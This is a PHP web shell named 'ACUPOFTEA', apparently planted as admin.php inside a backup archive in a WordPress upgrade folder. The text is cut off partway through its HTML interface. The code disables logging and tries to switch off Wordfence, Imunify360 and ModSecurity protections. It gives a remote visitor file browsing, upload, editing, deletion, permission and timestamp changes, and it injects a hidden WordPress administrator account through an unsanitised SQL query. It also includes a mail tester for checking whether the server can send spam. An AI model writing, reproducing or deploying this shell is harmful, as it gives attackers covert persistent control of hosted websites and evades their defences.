Viewing File: /home/omtekel/www/wp-content/upgrade/backup/network.tar

dist/src/archive/assets/kmfkr/nby/admin.php000066600000147306151334721360014750 0ustar00<?php

@clearstatcache();
@session_start();
@set_time_limit(0);
@ini_set('display_errors', 0);
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('output_buffering', 0);

if (function_exists('litespeed_request_headers')) {
    $a = litespeed_request_headers();
    if (isset($a['X-LSCACHE'])) {
        header('X-LSCACHE: off');
    }
}

if (defined('WORDFENCE_VERSION')) {
    define('WORDFENCE_DISABLE_LIVE_TRAFFIC', true);
    define('WORDFENCE_DISABLE_FILE_MODS', true);
}

if (function_exists('imunify360_request_headers') && defined('IMUNIFY360_VERSION')) {
    $a = imunify360_request_headers();
    if (isset($a['X-Imunify360-Request'])) {
        header('X-Imunify360-Request: bypass');
    }
    
    if (isset($a['X-Imunify360-Captcha-Bypass'])) {
        header('X-Imunify360-Captcha-Bypass: ' . $a['X-Imunify360-Captcha-Bypass']);
    }
}

if (function_exists('apache_request_headers')) {
    $a = apache_request_headers();
    if (isset($a['X-Mod-Security'])) {
        header('X-Mod-Security: ' . $a['X-Mod-Security']);
    }
}

if (isset($_SERVER['HTTP_CF_CONNECTING_IP']) && defined('CLOUDFLARE_VERSION')) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_CF_CONNECTING_IP'];
    if (isset($a['HTTP_CF_VISITOR'])) {
        header('HTTP_CF_VISITOR: ' . $a['HTTP_CF_VISITOR']);
    }
}

function acup($sky) {
    $str = '';
    for ($i = 0; $i < strlen($sky) - 1; $i += 2) {
        $str .= chr(hexdec($sky[$i] . $sky[$i + 1]));
    }
    return $str;
}

function tea($sky) {
    $str = '';
    for ($i = 0; $i < strlen($sky); $i++) {
        $str .= dechex(ord($sky[$i]));
    }
    return $str;
}

function writable($cup, $pall) {
    return (!is_writable($cup)) ? "<font color=\"#DC4C64\">" . $pall . "</font>" : "<font color=\"#14A44D\">" . $pall . "</font>";
}

if (isset($_GET['cup']) && !empty($_GET['cup'])) {
    $cup = acup($_GET['cup']);
    chdir($cup);
} else {
    $cup = getcwd();
}

$cup  = str_replace('\\', '/', $cup);
$cups = explode('/', $cup);
$scup = scandir($cup);

function pall($cup) {
    $pall = fileperms($cup);
    if (($pall & 0xC000) == 0xC000) {
        $iall = 's';
    } elseif (($pall & 0xA000) == 0xA000) {
        $iall = 'l';
    } elseif (($pall & 0x8000) == 0x8000) {
        $iall = '-';
    } elseif (($pall & 0x6000) == 0x6000) {
        $iall = 'b';
    } elseif (($pall & 0x4000) == 0x4000) {
        $iall = 'd';
    } elseif (($pall & 0x2000) == 0x2000) {
        $iall = 'c';
    } elseif (($pall & 0x1000) == 0x1000) {
        $iall = 'p';
    } else {
        $iall = 'u';
    }

    $iall .= (($pall & 0x0100) ? 'r' : '-');
    $iall .= (($pall & 0x0080) ? 'w' : '-');
    $iall .= (($pall & 0x0040) ?
    (($pall & 0x0800) ? 's' : 'x' ) :
    (($pall & 0x0800) ? 'S' : '-'));

    $iall .= (($pall & 0x0020) ? 'r' : '-');
    $iall .= (($pall & 0x0010) ? 'w' : '-');
    $iall .= (($pall & 0x0008) ?
    (($pall & 0x0400) ? 's' : 'x' ) :
    (($pall & 0x0400) ? 'S' : '-'));

    $iall .= (($pall & 0x0004) ? 'r' : '-');
    $iall .= (($pall & 0x0002) ? 'w' : '-');
    $iall .= (($pall & 0x0001) ?
    (($pall & 0x0200) ? 't' : 'x' ) :
    (($pall & 0x0200) ? 'T' : '-'));

    return $iall;
}

function sall($item) {
    $a    = ["B", "KB", "MB", "GB", "TB", "PB"];
    $pos  = 0;
    $sall = filesize($item);
    while ($sall >= 1024) {
        $sall /= 1024;
        $pos++;
    }
    return round($sall, 2) . " " . $a[$pos];
}

function alertcup($m, $c, $r = false) {
    if (!empty($_SESSION["message"])) {
        unset($_SESSION["message"]);
    }
    if (!empty($_SESSION["color"])) {
        unset($_SESSION["color"]);
    }
    $_SESSION["message"] = $m;
    $_SESSION["color"]   = $c;
    if ($r) {
        header('Location: ' . $r);
        exit();
    }
    return true;
}
 
function clear() {
    if (!empty($_SESSION["message"])) {
        unset($_SESSION["message"]);
    }
    if (!empty($_SESSION["color"])) {
        unset($_SESSION["color"]);
    }
    return true;
}

function cext($a) {
    $mime_icons = [
        'image/png' => ['icon' => 'bi bi-file-image', 'color' => 'green'],
        'image/jpeg' => ['icon' => 'bi bi-file-image', 'color' => 'green'],
        'image/gif' => ['icon' => 'bi bi-file-image', 'color' => 'green'],
        'image/svg+xml' => ['icon' => 'bi bi-file-image', 'color' => 'green'],
        'application/pdf' => ['icon' => 'bi bi-file-pdf', 'color' => 'red'],
        'application/msword' => ['icon' => 'bi bi-file-word', 'color' => 'blue'],
        'application/vnd.openxmlformats-officedocument.wordprocessingml.document' => ['icon' => 'bi bi-file-word', 'color' => 'blue'],
        'application/vnd.ms-excel' => ['icon' => 'bi bi-file-excel', 'color' => 'green'],
        'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' => ['icon' => 'bi bi-file-excel', 'color' => 'green'],
        'application/vnd.ms-powerpoint' => ['icon' => 'bi bi-file-ppt', 'color' => 'orange'],
        'application/vnd.openxmlformats-officedocument.presentationml.presentation' => ['icon' => 'bi bi-file-ppt', 'color' => 'orange'],
        'application/zip' => ['icon' => 'bi bi-file-zip', 'color' => 'orange'],
        'text/html' => ['icon' => 'bi bi-filetype-html', 'color' => 'blue'],
        'text/css' => ['icon' => 'bi bi-filetype-css', 'color' => 'blue'],
        'text/javascript' => ['icon' => 'bi bi-filetype-js', 'color' => 'yellow'],
        'text/plain' => ['icon' => 'bi bi-filetype-txt', 'color' => 'dark'],
        'text/csv' => ['icon' => 'bi bi-filetype-csv', 'color' => 'green'],
        'audio/wav' => ['icon' => 'bi bi-filetype-wav', 'color' => 'red'],
        'video/mp4' => ['icon' => 'bi bi-filetype-mp4', 'color' => 'orange'],
    ];

    $mime = mime_content_type($a);
    $icon = $mime_icons[$mime] ?? ['icon' => 'bi bi-file-text', 'color' => 'dark'];

    return '<i class="' . $icon['icon'] . '" style="color:' . $icon['color'] . '"></i>';
}

try {
    if (isset($_GET['tea']) && $_GET['tea'] == 'df') {
        ob_clean();
        $a  = acup($_GET['item']);
        $fp = realpath($a);
        if ($fp && file_exists($fp) && is_readable($fp)) {
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($fp) . '"');
            header('Expires: 0');
            header('Cache-Control: must-revalidate');
            header('Pragma: public');
            header('Content-Length: ' . filesize($fp));
            readfile($fp);
            exit();
        } else {
            throw new Exception("Error download $item.");
        }
    }
} catch (Exception $e) {
    alertcup("Error: " . $e->getMessage(), "#DC4C64", "?cup=" . tea($cup));
    exit();
}

if (isset($_POST['iuw'])) {
    try {
        $cDB = new mysqli($_POST['ih'], $_POST['iu'], $_POST['ipa'], $_POST['inam']);

        $uWp = $_POST['iuw'];
        $pWp = password_hash($_POST['ipw'], PASSWORD_DEFAULT);

        if ($cDB->query("INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) 
                         VALUES ('$uWp', '$pWp', 'Admin Tea', '', '', NOW(), '', 0, 'Admin Tea')")) {
            
            $UI = $cDB->insert_id;

            if ($cDB->query("INSERT INTO wp_usermeta (user_id, meta_key, meta_value) 
                             VALUES ($UI, 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}')")) {
                alertcup("Successful user creation.", "#14A44D", "?cup=" . tea($cup));
            }
        }

        $cDB->close();
    } catch (Exception $e) {
        alertcup("Database error.", "#DC4C64", "?cup=" . tea($cup));
        exit();
    }
}

if (isset($_POST['ie'])) {
    try {
        $m = $_POST['ie'];
        $r = rand();
        $h = $_SERVER['HTTP_HOST'];

        if (mail($m, "Result Report Test - $r", "$h WORKING !")) {
            alertcup("Success send tester mailer to $m.", "#14A44D", "?cup=" . tea($cup));
        } else {
            throw new Exception("Error while sending mail to $m.");
        }
    } catch (Exception $e) {
        alertcup("Error: " . $e->getMessage(), "#DC4C64", "?cup=" . tea($cup));
        exit();
    }
}

if (isset($_POST['nfoln'])){
    try {
        $nfn = $_POST['nfoln'];
        $nfp = $cup . '/' . $nfn;

        if (!file_exists($nfp) && mkdir($nfp)) {
            alertcup("Success make a folder $nfn.", "#14A44D", "?cup=" . tea($cup));
        } else {
            throw new Exception("Error while creating folder $nfn.");
        }
    } catch (Exception $e) {
        alertcup("Error: " . $e->getMessage(), "#DC4C64", "?cup=" . tea($cup));
        exit();
    }
}

if (isset($_POST['nfn'])) {
    try {
        $nfn = $_POST['nfn'];
        $nfp = $cup . '/' . $nfn;

        if (!file_exists($nfp)) {
            if (isset($_POST['nfc'])) {
                $nfc = $_POST['nfc'];
                if (file_put_contents($nfp, $nfc) !== false) {
                    alertcup("Success make a file $nfn.", "#14A44D", "?cup=" . tea($cup));
                } else {
                    throw new Exception("Error while creating file $nfn.");
                }
            } else {
                if (touch($nfp)) {
                    alertcup("Success make a file $nfn.", "#14A44D", "?cup=" . tea($cup));
                } else {
                    throw new Exception("Error while creating file $nfn.");
                }
            }
        } else {
            throw new Exception("Error $nfn already exists.");
        }
    } catch (Exception $e) {
        alertcup("Error: " . $e->getMessage(), "#DC4C64", "?cup=" . tea($cup));
        exit();
    }
}

if (isset($_POST['ri']) && isset($_POST['nn'])) {
    try {
        if ($_POST['nn'] == '') {
            throw new Exception("Error, input cannot be empty.");
        } else {
            $item = $_POST['ri'];
            $new  = $_POST['nn'];
            $nfp  = $cup . '/' . $new;

            if (file_exists($item)) {
                if (rename($item, $nfp)) {
                    alertcup("Successful rename $item to $new.", "#14A44D", "?cup=" . tea($cup));
                } else {
                    throw new Exception("Error while renaming $item.");
                }
            } else {
                throw new Exception("Error $item not found.");
            }
        }
    } catch (Exception $e) {
        alertcup("Error: " . $e->getMessage(), "#DC4C64", "?cup=" . tea($cup));
        exit();
    }
}

if (isset($_GET['item']) && isset($_POST['nc'])) {
    try {
        $item = acup($_GET['item']);

        if (file_put_contents($cup . '/' . $item, $_POST['nc']) !== false) {
            alertcup("Successful editing $item.", "#14A44D", "?cup=" . tea($cup));
        } else {
            throw new Exception("Error while editing $item.");
        }
    } catch (Exception $e) {
        alertcup("Error: " . $e->getMessage(), "#DC4C64", "?cup=" . tea($cup));
        exit();
    }
}

if (isset($_POST['di']) && isset($_POST['nd'])) {
    try {
        $ndf  = strtotime($_POST['nd']);
        $item = $_POST['di'];

        if ($ndf == '') {
            throw new Exception("Error, input cannot be empty.");
        }

        if (touch($cup . '/' . $item, $ndf)) {
            alertcup("Successful change date for $item.", "#14A44D", "?cup=" . tea($cup));
        } else {
            throw new Exception("Error while change date for $item.");
        }
    } catch (Exception $e) {
        alertcup("Error: " . $e->getMessage(), "#DC4C64", "?cup=" . tea($cup));
        exit();
    }
}

if (isset($_POST['pi']) && isset($_POST['np'])) {
    try {
        $item = $_POST['pi'];

        if ($_POST['np'] == '') {
            throw new Exception("Error, input cannot be empty.");
        }
        if (chmod($cup . '/'. $item, intval($_POST['np'], 8))) {
            alertcup("Successful change permission for $item.", "#14A44D", "?cup=" . tea($cup));
        } else {
            throw new Exception("Error while change permission for $item.");
        }
    } catch (Exception $e) {
        alertcup("Error: " . $e->getMessage(), "#DC4C64", "?cup=" . tea($cup));
        exit();
    }
}

if (isset($_POST['di'])){
    $item = $_POST['di'];

    function deleteDirectory($cup) {
        if (!is_dir($cup)) {
            return false;
        }
        $x = array_diff(scandir($cup), ['.', '..']);
        foreach ($x as $z) {
            $b = $cup . DIRECTORY_SEPARATOR . $z;
            if (is_dir($b)) {
                deleteDirectory($b);
            } else {
                if (!unlink($b)) {
                    return false;
                }
            }
        }
        return rmdir($cup);
    }
    
    try {
        if (!is_writable($item)) {
            throw new Exception("Permission denied for $item");
        }
        
        if (is_file($item)) {
            if (!unlink($item)) {
                throw new Exception("Failed to file: $item");
            }

            alertcup("Successful delete file $item.", "#14A44D", "?cup=" . tea($cup));
        } elseif (is_dir($item)) {
            if (!deleteDirectory($item)) {
                throw new Exception("Failed to folder: $item");
            }
            alertcup("Successful delete folder $item.", "#14A44D", "?cup=" . tea($cup));
        } else {
            throw new Exception("Error $item not found.");
        }
    } catch (Exception $e) {
        alertcup("Error: " . $e->getMessage(), "#DC4C64", "?cup=" . tea($cup));
        exit();
    }
}

if (isset($_FILES['z'])) {
    try {
        $total = count($_FILES['z']['name']);

        for ($i = 0; $i < $total; $i++) {
            $mu = move_uploaded_file($_FILES['z']['tmp_name'][$i], $_FILES['z']['name'][$i]);
        }

        if ($total < 2) {
            if ($mu) {
                $fn = $_FILES['z']['name'][0]; 
                alertcup("Upload $fn successfully! ", "#14A44D", "?cup=" . tea($cup));
            } else {
                throw new Exception("Error while upload $fn.");
            }
        } else {
            if ($mu) {
                alertcup("Upload $i files successfully! ", "#14A44D", "?cup=" . tea($cup));
            } else {
                throw new Exception("Error while upload files.");
            }
        }
    } catch (Exception $e) {
        alertcup("Error: " . $e->getMessage(), "#DC4C64", "?cup=" . tea($cup));
        exit();
    }
}

$ws = file("/etc/named.conf", FILE_IGNORE_NEW_LINES);
if (!$ws) {
    $dom = "Cant read /etc/named.conf";
    $GLOBALS["need_to_update_header"] = "true";
} else {
    $c = 0;
    foreach ($ws as $w) {
        if (preg_match('/zone\s+"([^"]+)"/', $w, $m)) {
            if (strlen(trim($m[1])) > 2) {
                $c++;
            }
        }
    }
    $dom = "$c Domain";
}

function win() {
    $wina = [
        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'V', 'W', 'X', 'Y', 'Z'
    ];
    foreach ($wina as $winb => $winc) {
        if (is_dir($winc . ":/")) {
            echo "<a style='color: green;' href='?cup=" . tea($winc . ":/") . "'>[ " . $winc . " ] </a>";
        }
    }
}

?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <meta name="googlebot" content="noindex">
        <meta name="robots" content="noindex, nofollow">
        <title>#acupoftea - <?= $_SERVER['HTTP_HOST']; ?></title>
        <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-9ndCyUaIbzAi2FUVXJi0CjmCapSmO7SnpJef0486qhLnuZ2cdeRhO02iuK6FUUVM" crossorigin="anonymous">
        <link href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.10.5/font/bootstrap-icons.css" rel="stylesheet">
        <link href="https://fonts.googleapis.com/css2?family=Ubuntu+Mono" rel="stylesheet">
        <style type="text/css">
            * {
                font-family: Ubuntu Mono;
            } .custom {
                width: 100px;
                text-overflow: ellipsis;
                white-space: nowrap;
                overflow: hidden;
            } .custom-btn {
                width: 100px;
                text-overflow: ellipsis;
                white-space: nowrap;
                overflow: hidden;
            } a {
                color: #000;
                text-decoration: none;
            } a:hover {
                color: #14A44D;
            } ::-webkit-scrollbar {
                width: 7px;
                height: 7px;
            } ::-webkit-scrollbar-thumb {
                background: grey;
                border-radius: 7px;
            } ::-webkit-scrollbar-track {
                box-shadow: inset 0 0 7px grey;
                border-radius: 7px;
            }
        </style>
    </head>
    <body class="bg-light">
        <div class="container-fluid py-3 p-5 mt-3">
            <div class="row justify-content-between align-items-center py-2">
                <div class="col-md-auto">
                    <table class="table table-sm table-borderless table-light">
                        <tr>
                            <td style="width: 7%;">&#83;&#121;&#115;&#116;&#101;&#109;</td>
                            <td style="width: 1%">:</td>
                            <td><?= isset($_SERVER['SERVER_SOFTWARE']) ? php_uname() : "Server information not available"; ?></td>
                        </tr>
                        <tr>
                            <td style="width: 7%;">&#83;&#111;&#102;&#116;&#119;&#97;&#114;&#101;</td>
                            <td style="width: 1%">:</td>
                            <td><?= $_SERVER['SERVER_SOFTWARE'] ?></td>
                        </tr>
                        <tr>
                            <td style="width: 7%;">&#83;&#101;&#114;&#118;&#101;&#114;</td>
                            <td style="width: 1%">:</td>
                            <td><?= gethostbyname($_SERVER['HTTP_HOST']) ?></td>
                        </tr>
                        <tr>
                            <td style="width: 7%;">&#68;&#111;&#109;&#97;&#105;&#110;&#115;</td>
                            <td style="width: 1%">:</td>
                            <td><?= $dom; ?></td>
                        </tr>
                        <tr>
                            <td style="width: 7%;">&#80;&#101;&#114;&#109;&#105;&#115;&#115;&#105;&#111;&#110;</td>
                            <td style="width: 1%">:</td>
                            <td class="text-nowrap">[&nbsp;<?php echo writable($cup, pall($cup)) ?>&nbsp;]</td>
                        </tr>
                        <tr>
                            <td style="width: 7%;"><i class="bi bi-folder2-open align-middle"></i></td>
                            <td style="width: 1%">:</td>
                            <td>
                                <?php
                                    if (stristr(PHP_OS, "WIN")) {
                                        win();
                                    }

                                    foreach ($cups as $id => $pat) {
                                        if ($pat == '' && $id == 0) {
                                ?>
                                <a href="?cup=<?= tea('/') ?>">/</a>
                                <?php } if ($pat == '') continue; ?>

                                <a href="?cup=<?php for ($i = 0; $i <= $id; $i++) { echo tea("$cups[$i]"); if ($i != $id) echo tea("/"); } ?>"><?= $pat ?></a>
                                <span> /</span>
                                <?php } ?>

                            </td>
                        </tr>
                    </table>
                </div>
                <div class="col-md-auto mt-auto mb-3">
                    <div class="row justify-content-end">
                        <div class="col-md-auto">
                            <table class="table-borderless">
                                <tr>
                                    <td><?= $_SERVER['REMOTE_ADDR'] ?></td>
                                </tr>
                                <tr>
                                    <td class="text-end">
                                        <form action="" method="post" enctype="multipart/form-data" class="">
                                            <label for="ups" class="btn btn-outline-dark btn-sm custom mb-2 mt-2" id="uputama">&#83;&#101;&#108;&#101;&#99;&#116;</label>
                                            <input type="file" class="form-control d-none" name="z[]"  id="ups" multiple>
                                            <button class="btn btn-outline-dark btn-sm" type="submit">&#83;&#117;&#98;&#109;&#105;&#116;</button>
                                        </form>
                                    </td>
                                </tr>
                            </table>
                        </div>
                    </div>
                </div>
            </div>

            <div class="container mb-3">
                <center>
                    <a href="?cup=<?= tea(__DIR__) ?>" class="btn btn-outline-dark btn-sm custom-btn mb-2"><i class="bi bi-house-check"></i> &#x0048;&#x006F;&#x006D;&#x0065;</a>
                    <button type="button" class="btn btn-outline-dark btn-sm custom-btn mb-2" data-bs-toggle="modal" data-bs-target="#wp"><i class="bi bi-wordpress"></i> &#65;&#100;&#100;&#32;&#85;&#115;&#101;&#114;</button>
                    <button type="button" class="btn btn-outline-dark btn-sm custom-btn mb-2" data-bs-toggle="modal" data-bs-target="#mt"><i class="bi bi-send-plus"></i> &#77;&#97;&#105;&#108;&#101;&#114;</button>
                    <button type="button" class="btn btn-outline-dark btn-sm custom-btn mb-2" data-bs-toggle="modal" data-bs-target="#aboutThis"><i class="bi bi-info-square"></i> &#65;&#98;&#111;&#117;&#116;</button>
                </center>

                <!-- Modal 1 -->
                <div class="modal fade" id="wp" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" aria-labelledby="wpl" aria-hidden="true">
                    <form action="" method="post" class="modal-dialog">
                        <div class="modal-content">
                            <div class="modal-header">
                                <h1 class="modal-title fs-5" id="wpl"><i class="bi bi-wordpress"></i></h1>
                                <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                            </div>
                            <div class="modal-body">
                                <label class="form-label">DBName</label>
                                <input type="text" class="form-control mb-2" name="inam" placeholder="DBName">
                                <div class="row mb-2">
                                    <div class="col">
                                        <label class="form-label">DBUser</label>
                                        <input type="text" class="form-control" name="iu" placeholder="DBUser">
                                    </div>
                                    <div class="col">
                                        <label class="form-label">DBPass</label>
                                        <input type="text" class="form-control" name="ipa" placeholder="DBPass">
                                    </div>
                                </div>
                                <label class="form-label">DBHost</label>
                                <input type="text" class="form-control mb-2" name="ih" placeholder="DBHost" value="127.0.0.1">
                                <hr class="mb-2">
                                <div class="row mb-2">
                                    <div class="col">
                                        <label class="form-label">WpUser</label>
                                        <input type="text" class="form-control" name="iuw" placeholder="WpUser" value="tea@cup.co">
                                    </div>
                                    <div class="col">
                                        <label class="form-label">WpPass</label>
                                        <input type="text" class="form-control" name="ipw" placeholder="WpPass" value="tea@cup.cos">
                                    </div>
                                </div>
                            </div>
                            <div class="modal-footer">
                                <button type="button" class="btn btn-outline-danger btn-sm" data-bs-dismiss="modal">&#67;&#97;&#110;&#99;&#101;&#108;</button>
                                <button type="submit" class="btn btn-outline-dark btn-sm">&#83;&#117;&#98;&#109;&#105;&#116;</button>
                            </div>
                        </div>
                    </form>
                </div>
                <div class="modal fade" id="mt" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" aria-labelledby="mtl" aria-hidden="true">
                    <form action="" method="post" class="modal-dialog">
                        <div class="modal-content">
                            <div class="modal-header">
                                <h1 class="modal-title fs-5" id="mtl"><i class="bi bi-send-plus"></i></h1>
                                <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                            </div>
                            <div class="modal-body">
                                <label class="form-label">Input e-mail</label>
                                <input type="email" class="form-control" name="ie" placeholder="acup@of.tea">
                            </div>
                            <div class="modal-footer">
                                <button type="button" class="btn btn-outline-danger btn-sm" data-bs-dismiss="modal">&#67;&#97;&#110;&#99;&#101;&#108;</button>
                                <button type="submit" class="btn btn-outline-dark btn-sm">&#83;&#117;&#98;&#109;&#105;&#116;</button>
                            </div>
                        </div>
                    </form>
                </div>
                <div class="modal fade" id="aboutThis" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" aria-labelledby="aboutThisLabel" aria-hidden="true">
                    <form action="" method="post" class="modal-dialog">
                        <div class="modal-content">
                            <div class="modal-header">
                                <h1 class="modal-title fs-5" id="aboutThisLabel"><i class="bi bi-info-square"></i></h1>
                                <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                            </div>
                            <div class="modal-body">
                                <center>
                                    <span>ACUPOFTEA for <?= $_SERVER['HTTP_HOST']; ?> made by tabagkayu.</span>
                                </center>
                            </div>
                            <div class="modal-footer">
                                <button type="button" class="btn btn-outline-danger btn-sm" data-bs-dismiss="modal">&#67;&#108;&#111;&#115;&#101;</button>
                            </div>
                        </div>
                    </form>
                </div>
                <div class="modal fade" id="tambahFolder" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" aria-labelledby="tambahFolderLabel" aria-hidden="true">
                    <form action="" method="post" class="modal-dialog">
                        <div class="modal-content">
                            <div class="modal-header">
                                <h1 class="modal-title fs-5" id="tambahFolderLabel"><i class="bi bi-folder-plus"></i></h1>
                                <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                            </div>
                            <div class="modal-body">
                                <label class="form-label">&#70;&#111;&#108;&#100;&#101;&#114; &#78;&#97;&#109;&#101;</label>
                                <input type="text" class="form-control" name="nfoln" placeholder="acupoftea" required>
                            </div>
                            <div class="modal-footer">
                                <button type="button" class="btn btn-outline-danger btn-sm" data-bs-dismiss="modal">&#67;&#97;&#110;&#99;&#101;&#108;</button>
                                <button type="submit" class="btn btn-outline-dark btn-sm">&#67;&#114;&#101;&#97;&#116;&#101;</button>
                            </div>
                        </div>
                    </form>
                </div>
                <div class="modal fade" id="tambahFile" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" aria-labelledby="tambahFileLabel" aria-hidden="true">
                    <form action="" method="post" class="modal-dialog">
                        <div class="modal-content">
                            <div class="modal-header">
                                <h1 class="modal-title fs-5" id="tambahFileLabel"><i class="bi bi-file-earmark-plus"></i></h1>
                                <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                            </div>
                            <div class="modal-body">
                                <div class="mb-3">
                                    <label class="form-label">&#70;&#105;&#108;&#101; &#78;&#97;&#109;&#101;</label>
                                    <input type="text" class="form-control" name="nfn" placeholder="acupof.tea" required>
                                </div>
                                <div class="mb-3">
                                    <label class="form-label">&#70;&#105;&#108;&#101; &#67;&#111;&#110;&#116;&#101;&#110;&#116;</label>
                                    <textarea class="form-control" rows="7" name="nfc" placeholder="Hello World! ( optional. )"></textarea>
                                </div>
                            </div>
                            <div class="modal-footer">
                                <button type="button" class="btn btn-outline-danger btn-sm" data-bs-dismiss="modal">&#67;&#97;&#110;&#99;&#101;&#108;</button>
                                <button type="submit" class="btn btn-outline-dark btn-sm">&#67;&#114;&#101;&#97;&#116;&#101;</button>
                            </div>
                        </div>
                    </form>
                </div>

                <!-- Modal 2 -->
                <div class="modal fade" id="em" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" aria-labelledby="emt" aria-hidden="true">
                    <form action="" method="post" class="modal-dialog">
                        <div class="modal-content">
                            <div class="modal-header">
                                <h1 class="modal-title fs-5" id="emt"><i class="bi bi-file-earmark-code"></i></h1>
                                <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                            </div>
                            <div class="modal-body">
                                <div class="mb-3">
                                    <?php
                                        if (isset($_GET['tea']) && isset($_GET['item'])) {
                                            if ($_GET['tea'] === 'ef') {
                                                $item = acup($_GET['item']);
                                                if ($zzzz = getimagesize($cup . '/' . $item)) {
                                                    $ab = base64_encode(file_get_contents($cup . '/' . $item));
                                    ?>

                                    <p>Type: <?= $zzzz['mime'] ?>, <?= $zzzz['0'] ?> x <?= $zzzz['1'] ?></p>
                                    <div class="text-center">
                                        <img class="img-fluid rounded" src="data:<?= $zzzz['mime'] ?>;base64, <?= $ab ?>" alt="<?= $item ?>">
                                    </div>
                                    <?php
                                        } else {
                                    ?>

                                    <label class="form-label">&#70;&#105;&#108;&#101; <font color="red"><?= $item ?></font></label>
                                    <textarea class="form-control" rows="15" name="nc" id="content"><?= htmlspecialchars(file_get_contents($cup . '/' . $item)) ?></textarea>
                                    <?php
                                                }
                                            }
                                        }
                                    ?>

                                </div>
                            </div>
                            <div class="modal-footer">
                                <a href="?cup=<?= tea($cup) ?>" class="btn btn-outline-danger btn-sm">&#67;&#97;&#110;&#99;&#101;&#108;</a>
                                <button type="button" class="btn btn-outline-dark btn-sm" onclick="salin()">Salin</button>
                                <button type="submit" class="btn btn-outline-dark btn-sm">&#83;&#117;&#98;&#109;&#105;&#116;</button>
                            </div>
                        </div>
                    </form>
                </div>
                <div class="modal fade" id="mr" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" aria-labelledby="mrt" aria-hidden="true">
                    <form action="" method="post" class="modal-dialog">
                        <div class="modal-content">
                            <div class="modal-header">
                                <h1 class="modal-title fs-5" id="mrt"><i class="bi bi-pencil-square"></i></h1>
                                <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                            </div>
                            <div class="modal-body">
                                <label class="form-label">&#78;&#101;&#119;&#32;&#110;&#97;&#109;&#101;&#32;&#102;&#111;&#114; <span id="rin" style="color: red"></span></label>
                                <input type="text" class="form-control" name="nn" placeholder="acupoftea">
                                <input type="hidden" id="rinn" name="ri" value="">
                            </div>
                            <div class="modal-footer">
                                <button type="button" class="btn btn-outline-danger btn-sm" data-bs-dismiss="modal">&#67;&#97;&#110;&#99;&#101;&#108;</button>
                                <button type="submit" class="btn btn-outline-dark btn-sm">&#83;&#117;&#98;&#109;&#105;&#116;</button>
                            </div>
                        </div>
                    </form>
                </div>
                <div class="modal fade" id="md" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" aria-labelledby="mdt" aria-hidden="true">
                    <form action="" method="post" class="modal-dialog">
                        <div class="modal-content">
                            <div class="modal-header">
                                <h1 class="modal-title fs-5" id="mdt"><i class="bi bi-trash"></i></h1>
                                <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                            </div>
                            <div class="modal-body">
                                <label class="form-label">&#65;&#114;&#101;&#32;&#121;&#111;&#117;&#32;&#115;&#117;&#114;&#101;&#32;&#119;&#105;&#108;&#108;&#32;&#100;&#101;&#108;&#101;&#116;&#101; <span id="din" style="color: red"></span> ?</label>
                                <input type="hidden" id="dip" name="di" value="">
                            </div>
                            <div class="modal-footer">
                                <button type="button" class="btn btn-outline-dark btn-sm" data-bs-dismiss="modal">&#67;&#97;&#110;&#99;&#101;&#108;</button>
                                <button type="submit" class="btn btn-outline-danger btn-sm">&#68;&#101;&#108;&#101;&#116;&#101;</button>
                            </div>
                        </div>
                    </form>
                </div>
                <div class="modal fade" id="mdtw" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" aria-labelledby="mdtwt" aria-hidden="true">
                    <form action="" method="post" class="modal-dialog">
                        <div class="modal-content">
                            <div class="modal-header">
                                <h1 class="modal-title fs-5" id="mdtwt"><i class="bi bi-calendar3"></i></h1>
                                <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                            </div>
                            <div class="modal-body">
                                <label class="form-label">&#78;&#101;&#119; &#100;&#97;&#116;&#101; &#102;&#111;&#114; <span id="dinn" style="color: red"></span></label>
                                <input type="text" class="form-control" name="nd" placeholder="acupoftea">
                                <input type="hidden" id="dipp" name="di" value="">
                            </div>
                            <div class="modal-footer">
                                <button type="button" class="btn btn-outline-danger btn-sm" data-bs-dismiss="modal">&#67;&#97;&#110;&#99;&#101;&#108;</button>
                                <button type="submit" class="btn btn-outline-dark btn-sm">&#83;&#117;&#98;&#109;&#105;&#116;</button>
                            </div>
                        </div>
                    </form>
                </div>
                <div class="modal fade" id="mp" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" aria-labelledby="mpt" aria-hidden="true">
                    <form action="" method="post" class="modal-dialog">
                        <div class="modal-content">
                            <div class="modal-header">
                                <h1 class="modal-title fs-5" id="mpt"><i class="bi bi-exclamation-triangle"></i></h1>
                                <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
